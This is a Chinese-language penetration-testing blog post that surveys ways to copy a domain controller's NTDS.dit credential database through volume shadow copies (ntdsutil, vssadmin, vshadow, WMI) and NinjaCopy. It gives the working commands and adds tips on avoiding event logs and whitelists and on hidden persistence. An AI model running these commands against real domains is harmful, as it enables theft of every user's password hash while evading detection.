8、域滲透——獲得域控伺服器的NTDS.dit檔案

FLy_鵬程萬里發表於2018-06-11

0x00 前言

在之前的文章《匯出當前域內所有使用者hash的技術整理》曾介紹過通過Volume Shadow Copy實現對ntds.dit檔案的複製,可用來匯出域內所有使用者hash。本文將嘗試做系統總結,總結多種不同的方法。

0x01 簡介

本文將要介紹以下內容:

  • 多種實現方法
  • 比較優缺點

0x02 通過Volume Shadow Copy獲得域控伺服器NTDS.dit檔案

測試系統:

  • Server 2008 R2 x64
  • Server 2012 R2 x64

Volume Shadow Copy Service:

  • 用於資料備份
  • 支援Windows Server 2003 及以上作業系統
  • 系統預設在特定條件下自動建立資料備份,如補丁安裝後。在Win7系統大概每隔一週自動建立備份,該時間無法確定
  • 禁用VSS會影響系統正常使用,如 System Restore和 Windows Server Backup

1、ntdsutil

域環境預設安裝

支援系統:

  • Server 2003
  • Server 2008
  • Server 2012
  • · …

常用命令:

(1) 查詢當前快照列表

ntdsutil snapshot "List All" quit quit

(2) 查詢已掛載的快照列表

ntdsutil snapshot "List Mounted" quit quit

(3) 建立快照

ntdsutil snapshot "activate instance ntds" create quit quit

(4) 掛載快照

ntdsutil snapshot "mount GUID" quit quit

(5) 解除安裝快照:

ntdsutil snapshot "unmount GUID" quit quit

(6) 刪除快照

ntdsutil snapshot "delete GUID" quit quit

實際測試:

(1) 查詢當前系統的快照

ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

(2) 建立快照

ntdsutil snapshot "activate instance ntds" create quit quit
guid為{6e31c0ab-c517-420b-845d-c38acbf77ab9}

如下圖


(3) 掛載快照

ntdsutil snapshot "mount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit

快照掛載為C:\$SNAP_201802270645_VOLUMEC$\,如下圖


(4) 複製ntds.dit

copy C:\$SNAP_201802270645_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

(5) 解除安裝快照:

ntdsutil snapshot "unmount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit

(6) 刪除快照

ntdsutil snapshot "delete {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit

2、vssadmin

域環境預設安裝

支援系統:

  • Server 2008
  • Server 2012
  •  …

常用命令:

(1) 查詢當前系統的快照

vssadmin list shadows

(2) 建立快照

vssadmin create shadow /for=c:

(3) 刪除快照

vssadmin delete shadows /for=c: /quiet

實際測試:

(1) 查詢當前系統的快照

vssadmin list shadows

(2) 建立快照

vssadmin create shadow /for=c:

獲得Shadow Copy Volume Name為\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12

如下圖


(3) 複製ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\windows\NTDS\ntds.dit c:\ntds.dit

(4) 刪除快照

vssadmin delete shadows /for=c: /quiet

3、vshadow.exe

系統預設不支援,可在Microsoft Windows Software Development Kit (SDK)中獲得該工具

注:

64位系統需要使用64位的vshadow.exe

不同系統可供使用的vshadow.exe下載地址:

http://edgylogic.com/blog/vshadow-exe-versions/

常用命令:

(1) 查詢當前系統的快照

vshadow.exe -q

(2) 建立快照

vshadow.exe -p -nw C:

引數說明:

-p persistent,備份操作或是重啟系統不會刪除

-nw no writers,用來提高建立速度

C: 對應c盤

(3) 刪除快照

vshadow -dx=ShadowCopySetId
vshadow -ds=ShadowCopyId

實際測試:

(1) 查詢當前系統的快照

vshadow.exe -q

(2) 建立快照

vshadow.exe -p -nw C:

獲得SnapshotSetID為{809b77cc-cf9a-4101-b802-08e97d10e613}

獲得SnapshotID為{ef99d039-9a38-4e8b-9f57-e3113d464f76}

獲得Shadow copy device name為\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10

如下圖


(3) 複製ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit c:\ntds.dit

(4) 刪除快照

vshadow -dx={809b77cc-cf9a-4101-b802-08e97d10e613}

or

vshadow -ds={ef99d039-9a38-4e8b-9f57-e3113d464f76}

4、vssown.vbs

可供參考的下載地址:

https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

本質上是通過wmi對ShadowCopy進行操作

通過wmi查詢快照資訊:

wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ShadowCopy GET DeviceObject,ID,InstallDate /FORMAT:list

powershell實現:

https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1

擴充套件

1、日誌檔案

呼叫Volume Shadow Copy服務會產生日誌檔案,位於System下,Event ID為7036

執行ntdsutil snapshot "activate instance ntds" create quit quit會額外產生Event ID為98的日誌檔案

如下圖


2、訪問快照中的檔案

檢視快照列表:

vssadmin list shadows

無法直接訪問\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12中的檔案

可通過建立符號連結訪問快照中的檔案:

mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\

如下圖


刪除符號連結:

rd c:\testvsc

利用思路:

如果當前系統存在快照檔案,可對系統的歷史檔案進行訪問

3、利用vshadow執行命令

參考資料:

https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-evasion-persistence-and-active-directory-database-extraction/

執行命令:

vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:

執行後,後臺存在程式VSSVC.exe,同時顯示服務Volume Shadow Copy正在執行,需要手動關閉程式VSSVC.exe

注:

手動關閉程式VSSVC.exe會生成日誌7034

利用思路:

vshadow.exe包含微軟簽名,能繞過某些白名單的限制。如果作為啟動項,Autoruns的預設啟動列表不顯示

0x03 通過NinjaCopy獲得域控伺服器NTDS.dit檔案

下載地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

沒有呼叫Volume Shadow Copy服務,所以不會產生日誌檔案7036

0x04 小結

本文整理了多種獲得域控伺服器NTDS.dit檔案的方法,測試使用環境,比較優缺點。


相關文章